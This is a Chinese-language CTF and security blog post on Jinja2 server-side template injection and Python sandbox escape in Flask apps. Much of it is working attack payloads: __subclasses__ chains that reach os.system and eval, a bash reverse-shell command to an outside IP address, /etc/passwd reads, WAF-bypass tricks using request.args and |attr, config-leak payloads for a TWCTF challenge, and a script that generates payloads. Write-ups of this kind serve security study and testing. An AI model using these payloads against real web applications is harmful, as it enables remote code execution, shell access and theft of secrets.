从SSTI到沙箱逃逸-jinja2

Intro

国赛遇到了沙箱逃逸和简单的 SSTI,算是 python sec 的起步吧,最开始在看 bendawangbit2woo 的 python sec,开始了解了一点点基础,在 QCTF 又遇到了 SSTI,以及网鼎杯和 TWCTF。记录一下查到的内容,主要是 Web App 的判断以及 sandbox filter bypass。

关于 SSTI,这里给两篇文章:
http://www.freebuf.com/articles/web/136118.html
http://www.freebuf.com/articles/web/136180.html
http://www.freebuf.com/vuls/83999.html

Basic

  • Flask
    Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug,模板引擎则使用 Jinja2。
    在 Flask 中使用 render_template() 方法可以渲染模板,此外也可以使用 render_template_string()

  • Jinja2
    Jinja2 是Flask 作者开发的一个模板系统,起初是仿 django 模板的一个模板引擎,为 Flask 提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
    在Jinja2中,存在三种语句:

    控制结构 {% %}
    变量取值 {{ }}
    注释 {# #}

Jinja2 模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用 Jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2 支持 Python 中所有的 Python 数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。

在 Jinja2 沙箱中寻找可用方法的核心在于找到可用的库和方法。核心在于几个魔术方法,然后用魔术方法找到<type 'object'>(python2)或<class 'object'>(python3)。

核心的原理在文档里有说明:

https://docs.python.org/2/genindex-_.html
https://docs.python.org/3.6/genindex-_.html

测试几个 payload 后,发现魔术方法 __class__ __mro__ __base__ 只有 base 可用

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

在上面的 payload 中,有一条特殊的 RCE 链条,就是寻找 OS 来 RCE,但 __subclasses__() 获取到的次序并不是固定的,以及引用 OS 模块的类不算太多,所以我们需要先寻找到这些类的位置。(这与调用 eval 不同,eval 本身处于内置函数中,大多数情况下都可以获取到)

以下面这个 demo 来获取这些类

import os

from flask import Flask

app = Flask(__name__)
@app.route('/ssti')
def ssti():
    op=[]
    for i in {}.__class__.__base__.__subclasses__():
        if '<class' in str(i):
            try:
                modules = i.__init__.__globals__.keys() # lookup from global
                for module in modules:
                    if 'os' == module:
                        op.append(i)
            except:
                pass
    print(op)
    return str(op)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000,debug=True)

比如在 python3 环境下有 [<class 'werkzeug.urls.Href'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'tarfile._FileInFile'>, <class 'click.core.Context'>, <class 'urllib.request.ftpwrapper'>, <class 'subprocess.CompletedProcess'>, <class 'werkzeug.serving._SSLContext'>, <class 'click.utils.LazyFile'>, <class 'logging.Formatter'>, <class 'click._compat._AtomicFile'>, <class 'logging.LoggerAdapter'>, <class 'urllib.request.AbstractBasicAuthHandler'>, ...],我们需要确认他们的下标来决定我们 payload 使用的下标。不过需要注意的是,这是在 flask 沙箱环境下才会有的类,普通的沙箱逃逸并不能使用。

(那么其他姿势呢?)

Bypass

模版引擎

在 blackhat 的介绍中找到了如何分辨模版引擎:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
翻译版:
https://zhuanlan.zhihu.com/p/28823933

引其中一张图片:
Fu668Kj3zKQQHmgy1RpsHE9Uvn9w
jinja2 返回的是 7777777 ,通过测试可以确定为 jinja2 ,那么接下来就是确定 jinja2 的其他 payload 如何绕过 filter 了

bypass

对于简单的字符串过滤我们可以使用拼接、编码等方式

'abc''de'
'xxx'.decode('')
'xxxx'[::-1]

jinja2-template-injection-filter-bypasses 中找到了利用 jinja2 内置函数绕过的方法。

文中还给出了 __、[、]、|join、args 的绕过方法。

如果过滤内容只存在于某个参数中,可以在其他参数内提交敏感内容,从而 bypass 过滤器

request[request.args.para]&para=xxx GET
request[request.value.para] POST
request[request.cookie.para] COOKIE
request.headers[request.headers.keys()[0]] Headers

?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

并不建议在实际中使用 pop 来获取属性值,因为会扰乱原有的顺序,使用 __getitem__ 就可以了,a[2]== a.__getitem__(2)

如果 _ 也被过滤的话,那么同理,可以使用 name={{request[request.args.param]}}&param=__class__

如果 WAF 升级,[/] 都被过滤,那我们需要通过其他方式拿到元素,在 jinja2 有一个取得元素的方式是 |attr,将 request[request.args.param] 替换为 request|attr(request.args.param) 即可。

Bypass other

TWCTF config

需要获取的内容在 config 中,不能使用(、)、self、config

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

利用 __dict____globals__ 获取属性和定义域信息。

可用的上下文变量/函数如下
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

同时利用上下文获取 config 方式如下

__globals__['current_app'].config / top.app.config

两者结合,可得 payload 如

url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

此外,还可以获取 sys
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

其他思路,通过 request 回溯法搜索寻找 config 的其他位置

Control Flow

只能使用控制结构时,即{% %},参考 https://www.xmsec.cc/wdb-review/#mmmmy-WDB-3rd
使用布尔盲注,或使用 print 语句直接打印。

针对Python3有个脚本会自动帮我们生成需要的控制结构形式的payload:

# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

doc

  1. 设计者文档
    提到了内置过滤器使用方法,可参考其中的使用方法绕过黑名单
    模板设计者文档 — Jinja2

  2. __dict____globals____code__说明

    Attribute Meaning Attr
    __globals__=func_globals A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined. Readonly
    __dict__ = func_dict The namespace supporting arbitrary function attributes. Writable
    __code__=func_code The code object representing the compiled function body. Writable

    Changed in version 2.6: The double-underscore attributes __closure__, __code__, __defaults__, and __globals__ were introduced as aliases for the corresponding func_* attributes for forwards compatibility with Python 3.

从模板引擎分析 SSTI --todo

https://xz.aliyun.com/t/2908#toc-2

Ref

  1. http://www.bendawang.site/2018/03/01/关于Python-sec的一些总结/
  2. https://0day.work/jinja2-template-injection-filter-bypasses/
  3. https://portswigger.net/blog/server-side-template-injection
  4. https://ctftime.org/task/6505
Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus